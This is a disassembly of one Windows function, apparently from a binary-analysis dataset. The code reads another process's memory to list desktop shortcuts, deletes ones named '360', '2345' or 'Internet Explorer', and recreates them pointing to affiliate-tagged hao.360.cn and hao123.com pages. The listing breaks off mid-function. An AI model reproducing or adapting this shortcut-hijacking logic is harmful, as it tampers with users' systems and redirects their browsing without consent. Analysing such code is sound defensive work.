Function at 0x427450
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7b4
mov eax, dword [0x453d00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
lea ecx, [ebp - 0x6c4]
push ecx
xor edi, edi
push eax
mov dword [ebp - 0x634], eax
mov dword [ebp - 0x63c], edi
mov dword [ebp - 0x6c4], edi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edx, dword [ebp - 0x6c4]
push edx
push edi
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [ebp - 0x638], esi
cmp esi, edi
jne 0x4274b3
push edi
call fcn.0042ed83
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 4
push 0x1000
push 0x34
push 0
push esi
call edi
push 4
push 0x1000
push 0x200
push 0
push esi
mov dword [ebp - 0x6b8], eax
call edi
push 4
push 0x1000
push 0x10
push 0
push esi
mov dword [ebp - 0x6c0], eax
call edi
mov edi, eax
mov dword [ebp - 0x640], edi
test edi, edi
je 0x42afb6
cmp dword [ebp - 0x6b8], 0
je 0x42afb6
mov ecx, dword [ebp - 0x634]
mov eax, dword [ebp - 0x6c0]
push 0
push 0
push 0x1004
push ecx
mov dword [ebp - 0x7b4], 1
mov dword [ebp - 0x79c], 0x200
mov dword [ebp - 0x7a0], eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov dword [ebp - 0x754], eax
mov dword [ebp - 0x630], 0
test eax, eax
jle 0x42af46
lea eax, [ebp - 0x614]
shr eax, 0x10
mov dword [ebp - 0x6d0], eax
lea esp, [esp]
mov ecx, dword [ebp - 0x6b8]
mov edx, dword [ebp - 0x630]
mov edi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0
push 0x34
lea eax, [ebp - 0x7b4]
push eax
push ecx
push esi
mov dword [ebp - 0x7b0], edx
mov dword [ebp - 0x7ac], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [ebp - 0x6b8]
mov eax, dword [ebp - 0x630]
mov ecx, dword [ebp - 0x634]
push edx
push eax
push 0x102d
push ecx
call dword [sym.imp.USER32.dll_SendMessageW]
mov eax, dword [ebp - 0x6c0]
push 0
push 0x200
lea edx, [ebp - 0x614]
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [0x453b10]
mov eax, dword [edx + 0xc]
mov ecx, 0x453b10
call eax
add eax, 0x10
cmp dword [ebp - 0x6d0], 0
mov dword [ebp - 0x62c], eax
jne 0x42762a
lea ecx, [ebp - 0x614]
movzx esi, cx
push 0
push esi
call fcn.004013a0
add esp, 8
test eax, eax
je 0x42763c
push esi
push eax
lea ecx, [ebp - 0x62c]
call fcn.004028e0
jmp 0x42763c
lea edx, [ebp - 0x614]
push edx
lea ecx, [ebp - 0x62c]
call fcn.00402a00
lea eax, [ebp - 0x62c]
push str.3606
push eax
call fcn.0041bc80
add esp, 8
test al, al
je 0x427a83
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x30e]
push edx
mov word [ebp - 0x310], cx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x310]
push eax
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
mov edi, edi
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x427690
mov ecx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], ecx
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4276b0
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x4276c6
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x4276f0
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x4276f0
mov edx, dword [0x4489a8]
mov ecx, dword [0x4489ac]
mov dword [eax], edx
mov dx, word [0x4489b0]
mov dword [eax + 4], ecx
push 0x445e0c
lea ecx, [ebp - 0x67c]
mov word [eax + 8], dx
call fcn.00408290
push ecx
lea eax, [ebp - 0x310]
mov ecx, esp
push eax
call fcn.00408290
lea ecx, [ebp - 0x75c]
push ecx
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x67c]
call fcn.00402bf0
mov eax, dword [ebp - 0x75c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x427774
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov esi, dword [ebp - 0x67c]
cmp dword [esi - 0xc], 0
jl 0x42779c
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x42779c
sub eax, esi
sar eax, 1
je 0x427a5e
lea ecx, [ebp - 0x67c]
push 0x445e0c
push ecx
call fcn.0040e670
add esp, 8
test al, al
je 0x427a5e
push 0x20
push esi
call fcn.0042e2cf
add esp, 8
test eax, eax
jne 0x4277d3
mov dword [ebp - 0x628], 0xffffffff
jmp 0x4277dd
sub eax, esi
sar eax, 1
mov dword [ebp - 0x628], eax
mov eax, dword [ebp - 0x628]
mov edx, dword [esi - 0xc]
inc eax
sub edx, eax
push edx
push eax
lea eax, [ebp - 0x6bc]
push eax
lea ecx, [ebp - 0x67c]
call fcn.00421b00
mov edi, dword [ebp - 0x6bc]
cmp dword [edi - 0xc], 0
jge 0x42780e
or esi, 0xffffffff
jmp 0x42782b
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x427825
or esi, 0xffffffff
jmp 0x42782b
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
push edi
call fcn.0042e2cf
add esp, 8
test eax, eax
jne 0x42783f
or eax, 0xffffffff
jmp 0x427843
sub eax, edi
sar eax, 1
sub eax, esi
dec eax
push eax
inc esi
push esi
lea ecx, [ebp - 0x770]
push ecx
lea ecx, [ebp - 0x6bc]
call fcn.00421b00
mov eax, dword [ebp - 0x770]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x42787d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [edi - 0xc]
mov edx, dword [ebp - 0x628]
inc ecx
push ecx
push edx
lea ecx, [ebp - 0x67c]
call fcn.0041f1c0
lea eax, [ebp - 0x6bc]
push str.http:__hao.360.cn__srclmlsn74a343a692
push eax
call fcn.0041bc80
add esp, 8
test al, al
jne 0x427a3c
inc dword [0x45669c]
lea ecx, [ebp - 0x310]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea edx, [ebp - 0x414]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea ecx, [ebp - 0x107]
push 0
push ecx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea edx, [ebp - 0x108]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
jmp 0x427920
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x427920
mov ecx, dword [str.360]
mov edx, dword [0x448cc0]
mov esi, dword [ebp - 0x67c]
mov dword [eax], ecx
mov ecx, dword [0x448cc4]
mov dword [eax + 4], edx
mov edx, dword [0x448cc8]
mov dword [eax + 8], ecx
mov ecx, dword [0x448ccc]
mov dword [eax + 0xc], edx
mov dword [eax + 0x10], ecx
mov eax, dword [esi - 8]
mov edx, 1
sub edx, dword [esi - 4]
sub eax, 0x104
or edx, eax
jge 0x427984
push 0x104
lea ecx, [ebp - 0x67c]
call fcn.00401bb0
mov esi, dword [ebp - 0x67c]
push esi
lea ecx, [ebp - 0x778]
call fcn.0041c630
mov edi, dword [eax]
push ecx
mov ecx, esp
push 0x448cac
call fcn.00408290
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x414]
push edx
push ecx
mov ecx, esp
push str._http:__hao.360.cn__srclmlsn74a343a692_
call fcn.00407e20
push edi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x778]
call fcn.004021f0
mov edi, dword [ebp - 0x640]
mov eax, dword [ebp - 0x630]
mov ecx, dword [ebp - 0x634]
push edi
push eax
push 0x100e
push ecx
call dword [sym.imp.USER32.dll_SendMessageW]
mov eax, dword [ebp - 0x638]
push 0
push 0x10
lea edx, [ebp - 0x624]
push edx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x624]
mov edx, dword [ebp - 0x620]
mov eax, dword [ebp - 0x61c]
mov edi, dword [ebp - 0x6bc]
mov dword [ebx], ecx
mov ecx, dword [ebp - 0x618]
mov dword [ebx + 4], edx
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], ecx
mov dword [ebp - 0x63c], 1
jmp 0x427a42
mov esi, dword [ebp - 0x67c]
lea eax, [edi - 0x10]
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x427a5e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add esi, 0xfffffff0
lea ecx, [esi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x42aeff
mov ecx, dword [esi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push esi
call edx
jmp 0x42aeff
lea eax, [ebp - 0x62c]
push str.3607
push eax
call fcn.0041bc80
add esp, 8
test al, al
je 0x427e62
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x30e]
push edx
mov word [ebp - 0x310], cx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x310]
push eax
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x427ad5
mov ecx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], ecx
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x427af1
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
jmp 0x427b10
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x427b10
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x427b35
mov edx, dword [0x4489a8]
mov ecx, dword [0x4489ac]
mov dword [eax], edx
mov dx, word [0x4489b0]
mov dword [eax + 4], ecx
push 0x445e0c
lea ecx, [ebp - 0x64c]
mov word [eax + 8], dx
call fcn.00408290
push ecx
lea eax, [ebp - 0x310]
mov ecx, esp
push eax
call fcn.00408290
lea ecx, [ebp - 0x780]
push ecx
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x64c]
call fcn.00402bf0
mov eax, dword [ebp - 0x780]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x427bb9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov esi, dword [ebp - 0x64c]
cmp dword [esi - 0xc], 0
jl 0x427be1
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x427be1
sub eax, esi
sar eax, 1
je 0x427e4d
lea ecx, [ebp - 0x64c]
push 0x445e0c
push ecx
call fcn.0040e670
add esp, 8
test al, al
je 0x427e4d
push 0x20
lea ecx, [ebp - 0x64c]
call fcn.00413e90
mov edx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub edx, eax
push edx
push eax
lea eax, [ebp - 0x694]
push eax
lea ecx, [ebp - 0x64c]
call fcn.00421b00
mov edi, dword [ebp - 0x694]
cmp dword [edi - 0xc], 0
jge 0x427c3b
or esi, 0xffffffff
jmp 0x427c58
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x427c52
or esi, 0xffffffff
jmp 0x427c58
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x694]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea ecx, [ebp - 0x774]
push ecx
lea ecx, [ebp - 0x694]
call fcn.00421b00
lea ecx, [ebp - 0x774]
call fcn.004021f0
mov edx, dword [edi - 0xc]
mov eax, dword [ebp - 0x628]
inc edx
push edx
push eax
lea ecx, [ebp - 0x64c]
call fcn.0041f1c0
lea ecx, [ebp - 0x694]
push str.http:__hao.360.cn__srclmlsn74a343a692
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x427e3c
inc dword [0x45669c]
lea edx, [ebp - 0x310]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x427d26
mov ecx, dword [0x448c58]
mov edx, dword [0x448c5c]
mov esi, dword [ebp - 0x64c]
mov dword [eax], ecx
mov ecx, dword [0x448c60]
mov dword [eax + 4], edx
mov edx, dword [0x448c64]
mov dword [eax + 8], ecx
mov ecx, dword [0x448c68]
mov dword [eax + 0xc], edx
mov dword [eax + 0x10], ecx
mov eax, dword [esi - 8]
mov edx, 1
sub edx, dword [esi - 4]
sub eax, 0x104
or edx, eax
jge 0x427d8a
push 0x104
lea ecx, [ebp - 0x64c]
call fcn.00401bb0
mov esi, dword [ebp - 0x64c]
push esi
lea ecx, [ebp - 0x6c8]
call fcn.0041c630
mov edi, dword [eax]
push ecx
mov ecx, esp
push 0x448cac
call fcn.00408290
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x414]
push edx
push ecx
mov ecx, esp
push str._http:__hao.360.cn__srclmlsn74a343a692_
call fcn.00407e20
push edi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x6c8]
call fcn.004021f0
mov edi, dword [ebp - 0x640]
mov eax, dword [ebp - 0x630]
mov ecx, dword [ebp - 0x634]
push edi
push eax
push 0x100e
push ecx
call dword [sym.imp.USER32.dll_SendMessageW]
mov eax, dword [ebp - 0x638]
push 0
push 0x10
lea edx, [ebp - 0x624]
push edx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x624]
mov edx, dword [ebp - 0x620]
mov eax, dword [ebp - 0x61c]
mov dword [ebx], ecx
mov ecx, dword [ebp - 0x618]
mov dword [ebx + 4], edx
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], ecx
mov dword [ebp - 0x63c], 1
jmp 0x427e42
mov esi, dword [ebp - 0x64c]
lea ecx, [ebp - 0x694]
call fcn.004021f0
add esi, 0xfffffff0
lea edx, [esi + 0xc]
or eax, 0xffffffff
lock xadd dword [edx], eax
dec eax
test eax, eax
jmp 0x428244
lea ecx, [ebp - 0x62c]
push 0x448c44
push ecx
call fcn.0041bc80
add esp, 8
test al, al
je 0x428259
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x30e]
push eax
mov word [ebp - 0x310], dx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x310]
push ecx
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x427eb4
mov edx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], edx
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x427ed0
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x427ee6
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x427f10
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x427f10
mov ecx, dword [0x4489a8]
mov edx, dword [0x4489ac]
mov dword [eax], ecx
mov cx, word [0x4489b0]
mov dword [eax + 4], edx
mov word [eax + 8], cx
push 0x445e0c
lea ecx, [ebp - 0x658]
call fcn.00408290
push ecx
lea edx, [ebp - 0x310]
mov ecx, esp
push edx
call fcn.00408290
lea eax, [ebp - 0x758]
push eax
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x658]
call fcn.00402bf0
mov eax, dword [ebp - 0x758]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x427f94
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov esi, dword [ebp - 0x658]
cmp dword [esi - 0xc], 0
jl 0x427fbc
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x427fbc
sub eax, esi
sar eax, 1
je 0x428234
lea ecx, [ebp - 0x658]
push 0x445e0c
push ecx
call fcn.0040e670
add esp, 8
test al, al
je 0x428234
push 0x20
lea ecx, [ebp - 0x658]
call fcn.00413e90
mov edx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub edx, eax
push edx
push eax
lea eax, [ebp - 0x680]
push eax
lea ecx, [ebp - 0x658]
call fcn.00421b00
mov edi, dword [ebp - 0x680]
cmp dword [edi - 0xc], 0
jge 0x428016
or esi, 0xffffffff
jmp 0x428033
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x42802d
or esi, 0xffffffff
jmp 0x428033
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x680]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea ecx, [ebp - 0x6d8]
push ecx
lea ecx, [ebp - 0x680]
call fcn.00421b00
lea ecx, [ebp - 0x6d8]
call fcn.004021f0
mov edx, dword [edi - 0xc]
mov eax, dword [ebp - 0x628]
inc edx
push edx
push eax
lea ecx, [ebp - 0x658]
call fcn.0041f1c0
lea ecx, [ebp - 0x680]
push str.http:__hao.360.cn__srclmlsn74a343a692
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x428223
inc dword [0x45669c]
lea edx, [ebp - 0x310]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x428101
mov ecx, dword [0x448c30]
mov edx, dword [0x448c34]
mov esi, dword [ebp - 0x658]
mov dword [eax], ecx
mov ecx, dword [0x448c38]
mov dword [eax + 4], edx
mov edx, dword [0x448c3c]
mov dword [eax + 8], ecx
mov cx, word [0x448c40]
mov dword [eax + 0xc], edx
mov dl, byte [0x448c42]
mov word [eax + 0x10], cx
mov byte [eax + 0x12], dl
mov ecx, dword [esi - 8]
mov eax, 1
sub eax, dword [esi - 4]
sub ecx, 0x104
or eax, ecx
jge 0x428171
push 0x104
lea ecx, [ebp - 0x658]
call fcn.00401bb0
mov esi, dword [ebp - 0x658]
push esi
lea ecx, [ebp - 0x730]
call fcn.0041c630
mov edi, dword [eax]
push ecx
mov ecx, esp
push 0x448cac
call fcn.00408290
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x414]
push eax
push ecx
mov ecx, esp
push str._http:__hao.360.cn__srclmlsn74a343a692_
call fcn.00407e20
push edi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x730]
call fcn.004021f0
mov edi, dword [ebp - 0x640]
mov ecx, dword [ebp - 0x630]
mov edx, dword [ebp - 0x634]
push edi
push ecx
push 0x100e
push edx
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [ebp - 0x638]
push 0
push 0x10
lea eax, [ebp - 0x624]
push eax
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [ebp - 0x624]
mov eax, dword [ebp - 0x620]
mov ecx, dword [ebp - 0x61c]
mov dword [ebx], edx
mov edx, dword [ebp - 0x618]
mov dword [ebx + 4], eax
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], edx
mov dword [ebp - 0x63c], 1
jmp 0x428229
mov esi, dword [ebp - 0x658]
lea ecx, [ebp - 0x680]
call fcn.004021f0
add esi, 0xfffffff0
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x42aeff
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
jmp 0x42aeff
lea ecx, [ebp - 0x62c]
push str.Internet_Explorer
push ecx
call fcn.0041bc80
add esp, 8
test al, al
je 0x4285fe
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x30e]
push eax
mov word [ebp - 0x310], dx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x310]
push ecx
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
jmp 0x4282b0
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4282b0
mov edx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], edx
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4282d0
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x4282e6
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x428310
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x428310
mov ecx, dword [0x4489a8]
mov edx, dword [0x4489ac]
mov dword [eax], ecx
mov cx, word [0x4489b0]
mov dword [eax + 4], edx
mov word [eax + 8], cx
push 0x445e0c
lea ecx, [ebp - 0x660]
call fcn.00408290
push ecx
lea edx, [ebp - 0x310]
mov ecx, esp
push edx
call fcn.00408290
lea eax, [ebp - 0x6e0]
push eax
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x660]
call fcn.00402bf0
lea ecx, [ebp - 0x6e0]
call fcn.004021f0
mov esi, dword [ebp - 0x660]
cmp dword [esi - 0xc], 0
jl 0x4283a5
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x4283a5
sub eax, esi
sar eax, 1
je 0x4285f3
lea ecx, [ebp - 0x660]
push 0x445e0c
push ecx
call fcn.0040e670
add esp, 8
test al, al
je 0x4285f3
push 0x20
lea ecx, [ebp - 0x660]
call fcn.00413e90
mov edx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub edx, eax
push edx
push eax
lea eax, [ebp - 0x69c]
push eax
lea ecx, [ebp - 0x660]
call fcn.00421b00
mov edi, dword [ebp - 0x69c]
cmp dword [edi - 0xc], 0
jge 0x4283ff
or esi, 0xffffffff
jmp 0x42841c
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x428416
or esi, 0xffffffff
jmp 0x42841c
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x69c]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea ecx, [ebp - 0x77c]
push ecx
lea ecx, [ebp - 0x69c]
call fcn.00421b00
lea ecx, [ebp - 0x77c]
call fcn.004021f0
mov edx, dword [edi - 0xc]
mov eax, dword [ebp - 0x628]
inc edx
push edx
push eax
lea ecx, [ebp - 0x660]
call fcn.0041f1c0
lea ecx, [ebp - 0x69c]
push str.http:__www.hao123.com__tn95212889_hao_pg
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x4285e8
inc dword [0x45669c]
lea edx, [ebp - 0x310]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edi, [ebp - 0x108]
dec edi
lea ebx, [ebx]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4284f0
mov eax, dword [ebp - 0x660]
mov ecx, 5
mov esi, str.Internet_Explorer.lnk
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edx, dword [eax - 8]
mov ecx, 1
sub ecx, dword [eax - 4]
sub edx, 0x104
or ecx, edx
jge 0x428538
push 0x104
lea ecx, [ebp - 0x660]
call fcn.00401bb0
mov eax, dword [ebp - 0x660]
push eax
lea ecx, [ebp - 0x6e8]
call fcn.0041c630
mov esi, dword [eax]
push ecx
mov ecx, esp
push str.hao123
call fcn.00408290
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x414]
push ecx
push ecx
mov ecx, esp
push str._http:__www.hao123.com__tn95212889_hao_pg_
call fcn.00407e20
push esi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x6e8]
call fcn.004021f0
mov esi, dword [ebp - 0x640]
mov edx, dword [ebp - 0x630]
mov eax, dword [ebp - 0x634]
push esi
push edx
push 0x100e
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov edx, dword [ebp - 0x638]
push 0
push 0x10
lea ecx, [ebp - 0x624]
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x624]
mov ecx, dword [ebp - 0x620]
mov edx, dword [ebp - 0x61c]
mov dword [ebx], eax
mov eax, dword [ebp - 0x618]
mov dword [ebx + 4], ecx
mov dword [ebx + 8], edx
mov dword [ebx + 0xc], eax
mov dword [ebp - 0x63c], 1
lea ecx, [ebp - 0x69c]
call fcn.004021f0
lea ecx, [ebp - 0x660]
jmp 0x42aefa
lea ecx, [ebp - 0x62c]
push str.2345
push ecx
call fcn.0041bc80
add esp, 8
test al, al
je 0x4289bd
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x30e]
push eax
mov word [ebp - 0x310], dx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x310]
push ecx
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x428650
mov edx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], edx
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x428670
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x428686
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x4286b0
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x4286b0
mov ecx, dword [0x4489a8]
mov edx, dword [0x4489ac]
mov dword [eax], ecx
mov cx, word [0x4489b0]
mov dword [eax + 4], edx
mov word [eax + 8], cx
push 0x445e0c
lea ecx, [ebp - 0x668]
call fcn.00408290
push ecx
lea edx, [ebp - 0x310]
mov ecx, esp
push edx
call fcn.00408290
lea eax, [ebp - 0x738]
push eax
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x668]
call fcn.00402bf0
lea ecx, [ebp - 0x738]
call fcn.004021f0
mov esi, dword [ebp - 0x668]
cmp dword [esi - 0xc], 0
jl 0x428745
push 0x448d28
push esi
call fcn.0042e2fd
